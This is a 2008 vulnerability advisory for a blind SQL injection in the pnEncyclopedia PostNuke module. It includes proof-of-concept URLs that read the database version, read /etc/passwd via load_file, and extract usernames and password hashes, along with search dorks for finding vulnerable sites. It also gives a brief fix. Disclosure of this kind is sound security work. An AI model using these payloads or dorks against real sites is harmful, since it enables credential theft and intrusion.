SecurityReason - PostNuke Module pnEncyclopedia <= 0.2.0 (id) Blind Sql Injection Vulnerability

Advisory Text :

ECHO_ADV_90$2008

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[ECHO_ADV_90$2008] PostNuke Module pnEncyclopedia <= 0.2.0 (id) Blind Sql
Injection Vulnerability

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Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv90-K-159-2008.txt

Critical Lvl : Medium

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : pnEncyclopedia

version : <= 0.2.0

Vendor : http://sourceforge.net/projects/pnencyclopedia/

Description :

Encyclopedia intended for the creation of the open encyclopedia on a
PostNuke website.

Users can submit new terms and offer changes to current ones but an editor
can accept or reject the requested changes.

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Vulnerability:

~~~~~~~~~~~~~~

Input passed to the "id" parameter is not properly verified before being
used to sql query.

This can be exploited thru the browser and get the username and hash md5
password from users.

Successful exploitation requires that "magic_quotes" is off

Poc/Exploit:

~~~~~~~~~~

http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&
id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11--

http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&
id=9999 union select
1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11--

http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&
id=9999 union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11
from nuke_users limit 1,1--

Dork:

~~~~~

Google : "index.php?module=pnEncyclopedia"
"allinurl:index.php?module=pnEncyclopedia"

Solution:

~~~~~~~

- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

Timeline:

~~~~~~~~~

- 01 - 05 - 2008 bug found

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

~ ping - my dearest wife, zautha my light of eyes, for all the luv the
tears n the breath

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,
az01,negative,the_hydra,neng chika, str0ke

~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal
y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b

~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R,
kuntua, stev_manado, nofry,k1tk4t,0pt1c

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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